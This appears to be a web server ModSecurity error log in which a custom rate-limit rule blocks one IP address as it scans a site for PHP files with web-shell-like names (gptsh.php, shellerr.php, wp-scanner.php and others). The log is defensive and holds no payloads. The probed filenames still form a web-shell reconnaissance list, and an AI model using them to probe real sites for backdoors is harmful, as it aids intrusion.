[Wed Apr 01 19:26:13.997895 2026] [:error] [pid 8908:tid 8937] [client 52.156.211.140:37221] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/h02ugyh.php"] [unique_id "ac0A1fkmxtJXGnLdvgBaDAAAAJg"]
[Wed Apr 01 19:26:15.532547 2026] [:error] [pid 17856:tid 17876] [client 52.156.211.140:37236] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ad.php"] [unique_id "ac0A1z7Idlm5j9frhqTwwQAAAFI"]
[Wed Apr 01 19:26:16.075748 2026] [:error] [pid 8909:tid 8948] [client 52.156.211.140:37031] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ad.php"] [unique_id "ac0A2DvP_a0662gDl6BvsQAAAMc"]
[Wed Apr 01 19:26:16.612756 2026] [:error] [pid 8995:tid 9002] [client 52.156.211.140:37010] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ad.php"] [unique_id "ac0A2OonaBjs3qxcReeqJwAAAAQ"]
[Wed Apr 01 19:26:17.132065 2026] [:error] [pid 8908:tid 8930] [client 52.156.211.140:4061] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ad.php"] [unique_id "ac0A2fkmxtJXGnLdvgBaEQAAAJE"]
[Wed Apr 01 19:26:17.632861 2026] [:error] [pid 8908:tid 8914] [client 52.156.211.140:37018] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/z60.php"] [unique_id "ac0A2fkmxtJXGnLdvgBaFgAAAIE"]
[Wed Apr 01 19:26:18.147794 2026] [:error] [pid 8908:tid 8918] [client 52.156.211.140:4074] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/z60.php"] [unique_id "ac0A2vkmxtJXGnLdvgBaGAAAAIU"]
[Wed Apr 01 19:26:18.671080 2026] [:error] [pid 8995:tid 9006] [client 52.156.211.140:37016] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/z60.php"] [unique_id "ac0A2uonaBjs3qxcReeqKAAAAAg"]
[Wed Apr 01 19:26:19.292640 2026] [:error] [pid 8995:tid 9015] [client 52.156.211.140:37033] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/z60.php"] [unique_id "ac0A2-onaBjs3qxcReeqKgAAABE"]
[Wed Apr 01 19:26:19.844676 2026] [:error] [pid 62559:tid 62585] [client 52.156.211.140:4047] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gptsh.php"] [unique_id "ac0A2y7NKI8IaNKZFId5ugAAAVg"]
[Wed Apr 01 19:26:20.355579 2026] [:error] [pid 8909:tid 8963] [client 52.156.211.140:37029] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gptsh.php"] [unique_id "ac0A3DvP_a0662gDl6BvvwAAANY"]
[Wed Apr 01 19:26:20.878599 2026] [:error] [pid 8909:tid 8961] [client 52.156.211.140:4038] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gptsh.php"] [unique_id "ac0A3DvP_a0662gDl6BvwAAAANQ"]
[Wed Apr 01 19:26:21.459530 2026] [:error] [pid 8909:tid 8958] [client 52.156.211.140:37247] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gptsh.php"] [unique_id "ac0A3TvP_a0662gDl6BvwgAAANE"]
[Wed Apr 01 19:26:21.980474 2026] [:error] [pid 8995:tid 9020] [client 52.156.211.140:4065] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/wta.php"] [unique_id "ac0A3eonaBjs3qxcReeqLQAAABY"]
[Wed Apr 01 19:26:22.592787 2026] [:error] [pid 17856:tid 17881] [client 52.156.211.140:37239] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/wta.php"] [unique_id "ac0A3j7Idlm5j9frhqTwzgAAAFc"]
[Wed Apr 01 19:26:23.092384 2026] [:error] [pid 62559:tid 62577] [client 52.156.211.140:37234] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/wta.php"] [unique_id "ac0A3y7NKI8IaNKZFId5vQAAAVA"]
[Wed Apr 01 19:26:23.652262 2026] [:error] [pid 8909:tid 8948] [client 52.156.211.140:37188] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/wta.php"] [unique_id "ac0A3zvP_a0662gDl6BvywAAAMc"]
[Wed Apr 01 19:26:24.192260 2026] [:error] [pid 8908:tid 8922] [client 52.156.211.140:3974] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sql.php"] [unique_id "ac0A4PkmxtJXGnLdvgBaIgAAAIk"]
[Wed Apr 01 19:26:24.774863 2026] [:error] [pid 17856:tid 17863] [client 52.156.211.140:37224] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sql.php"] [unique_id "ac0A4D7Idlm5j9frhqTw2AAAAEU"]
[Wed Apr 01 19:26:25.293699 2026] [:error] [pid 17856:tid 17876] [client 52.156.211.140:37043] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sql.php"] [unique_id "ac0A4T7Idlm5j9frhqTw2QAAAFI"]
[Wed Apr 01 19:26:25.846446 2026] [:error] [pid 8909:tid 8951] [client 52.156.211.140:37041] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sql.php"] [unique_id "ac0A4TvP_a0662gDl6Bv0wAAAMo"]
[Wed Apr 01 19:26:26.405975 2026] [:error] [pid 8908:tid 8928] [client 52.156.211.140:37005] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rithin.php"] [unique_id "ac0A4vkmxtJXGnLdvgBaKwAAAI8"]
[Wed Apr 01 19:26:27.007321 2026] [:error] [pid 8909:tid 8948] [client 52.156.211.140:4063] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rithin.php"] [unique_id "ac0A4zvP_a0662gDl6Bv1gAAAMc"]
[Wed Apr 01 19:26:27.539331 2026] [:error] [pid 8995:tid 9013] [client 52.156.211.140:4050] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rithin.php"] [unique_id "ac0A4-onaBjs3qxcReeqLwAAAA8"]
[Wed Apr 01 19:26:29.048970 2026] [:error] [pid 8909:tid 8941] [client 52.156.211.140:37246] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rithin.php"] [unique_id "ac0A5TvP_a0662gDl6Bv3AAAAMA"]
[Wed Apr 01 19:26:29.584301 2026] [:error] [pid 62559:tid 62582] [client 52.156.211.140:36992] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-class.php"] [unique_id "ac0A5S7NKI8IaNKZFId5xgAAAVU"]
[Wed Apr 01 19:26:45.585186 2026] [:error] [pid 62559:tid 62577] [client 52.156.211.140:4051] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "ac0A9S7NKI8IaNKZFId57QAAAVA"]
[Wed Apr 01 19:26:46.099658 2026] [:error] [pid 8908:tid 8931] [client 52.156.211.140:4057] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "ac0A9vkmxtJXGnLdvgBaQgAAAJI"]
[Wed Apr 01 19:26:46.610723 2026] [:error] [pid 8908:tid 8934] [client 52.156.211.140:37037] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "ac0A9vkmxtJXGnLdvgBaRgAAAJU"]
[Wed Apr 01 19:26:47.135197 2026] [:error] [pid 17856:tid 17861] [client 52.156.211.140:4042] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "ac0A9z7Idlm5j9frhqTxCQAAAEM"]
[Wed Apr 01 19:26:47.638121 2026] [:error] [pid 17856:tid 17863] [client 52.156.211.140:37186] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sweg.php"] [unique_id "ac0A9z7Idlm5j9frhqTxDAAAAEU"]
[Wed Apr 01 19:26:48.166683 2026] [:error] [pid 62559:tid 62583] [client 52.156.211.140:37039] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sweg.php"] [unique_id "ac0A-C7NKI8IaNKZFId58AAAAVY"]
[Wed Apr 01 19:26:48.713770 2026] [:error] [pid 62559:tid 62571] [client 52.156.211.140:4070] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sweg.php"] [unique_id "ac0A-C7NKI8IaNKZFId58wAAAUo"]
[Wed Apr 01 19:26:49.239702 2026] [:error] [pid 62559:tid 62579] [client 52.156.211.140:4010] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sweg.php"] [unique_id "ac0A-S7NKI8IaNKZFId59wAAAVI"]
[Wed Apr 01 19:26:50.908397 2026] [:error] [pid 8909:tid 8943] [client 52.156.211.140:4064] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xpwer1.php"] [unique_id "ac0A-jvP_a0662gDl6BwNAAAAMI"]
[Wed Apr 01 19:26:51.488443 2026] [:error] [pid 8909:tid 8965] [client 52.156.211.140:37229] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xpwer1.php"] [unique_id "ac0A-zvP_a0662gDl6BwNwAAANg"]
[Wed Apr 01 19:26:53.021567 2026] [:error] [pid 17856:tid 17880] [client 52.156.211.140:4054] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xpwer1.php"] [unique_id "ac0A_T7Idlm5j9frhqTxEAAAAFY"]
[Wed Apr 01 19:26:53.546915 2026] [:error] [pid 8995:tid 9022] [client 52.156.211.140:37046] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xpwer1.php"] [unique_id "ac0A_eonaBjs3qxcReeqRgAAABg"]
[Wed Apr 01 19:26:54.075181 2026] [:error] [pid 62559:tid 62563] [client 52.156.211.140:37231] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws40.php"] [unique_id "ac0A_i7NKI8IaNKZFId5_wAAAUI"]
[Wed Apr 01 19:26:54.612019 2026] [:error] [pid 8995:tid 9020] [client 52.156.211.140:37219] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws40.php"] [unique_id "ac0A_uonaBjs3qxcReeqSQAAABY"]
[Wed Apr 01 19:26:55.150869 2026] [:error] [pid 17856:tid 17860] [client 52.156.211.140:4034] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws40.php"] [unique_id "ac0A_z7Idlm5j9frhqTxFAAAAEI"]
[Wed Apr 01 19:26:55.653835 2026] [:error] [pid 8908:tid 8921] [client 52.156.211.140:4072] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws40.php"] [unique_id "ac0A__kmxtJXGnLdvgBaXgAAAIg"]
[Wed Apr 01 19:26:56.210475 2026] [:error] [pid 8909:tid 8946] [client 52.156.211.140:37024] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/albin.php"] [unique_id "ac0BADvP_a0662gDl6BwQQAAAMU"]
[Wed Apr 01 19:26:56.716165 2026] [:error] [pid 8909:tid 8964] [client 52.156.211.140:4032] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/albin.php"] [unique_id "ac0BADvP_a0662gDl6BwQwAAANc"]
[Wed Apr 01 19:26:57.271569 2026] [:error] [pid 8909:tid 8942] [client 52.156.211.140:4021] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/albin.php"] [unique_id "ac0BATvP_a0662gDl6BwSwAAAME"]
[Wed Apr 01 19:26:57.804495 2026] [:error] [pid 17856:tid 17878] [client 52.156.211.140:37052] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/albin.php"] [unique_id "ac0BAT7Idlm5j9frhqTxGAAAAFQ"]
[Wed Apr 01 19:26:58.365019 2026] [:error] [pid 8909:tid 8960] [client 52.156.211.140:37042] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/awh.php"] [unique_id "ac0BAjvP_a0662gDl6BwUQAAANM"]
[Wed Apr 01 19:26:58.899171 2026] [:error] [pid 8909:tid 8961] [client 52.156.211.140:4056] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/awh.php"] [unique_id "ac0BAjvP_a0662gDl6BwVgAAANQ"]
[Wed Apr 01 19:26:59.434211 2026] [:error] [pid 17856:tid 17873] [client 52.156.211.140:4044] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/awh.php"] [unique_id "ac0BAz7Idlm5j9frhqTxGwAAAE8"]
[Wed Apr 01 19:26:59.988690 2026] [:error] [pid 17856:tid 17868] [client 52.156.211.140:37220] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/awh.php"] [unique_id "ac0BAz7Idlm5j9frhqTxHQAAAEo"]
[Wed Apr 01 19:27:00.543435 2026] [:error] [pid 17856:tid 17882] [client 52.156.211.140:37209] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shellerr.php"] [unique_id "ac0BBD7Idlm5j9frhqTxIAAAAFg"]
[Wed Apr 01 19:27:01.069043 2026] [:error] [pid 8910:tid 8974] [client 52.156.211.140:4031] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shellerr.php"] [unique_id "ac0BBaJZINUcF3tYgExHGQAAAQY"]
[Wed Apr 01 19:27:01.586685 2026] [:error] [pid 8908:tid 8922] [client 52.156.211.140:37213] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shellerr.php"] [unique_id "ac0BBfkmxtJXGnLdvgBaYgAAAIk"]
[Wed Apr 01 19:27:02.091184 2026] [:error] [pid 8995:tid 9002] [client 52.156.211.140:37054] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shellerr.php"] [unique_id "ac0BBuonaBjs3qxcReeqUQAAAAQ"]
[Wed Apr 01 19:27:02.609546 2026] [:error] [pid 62559:tid 62577] [client 52.156.211.140:37023] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-scanner.php"] [unique_id "ac0BBi7NKI8IaNKZFId6EgAAAVA"]
[Wed Apr 01 19:27:03.125708 2026] [:error] [pid 8909:tid 8953] [client 52.156.211.140:37027] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-scanner.php"] [unique_id "ac0BBzvP_a0662gDl6BwZQAAAMw"]
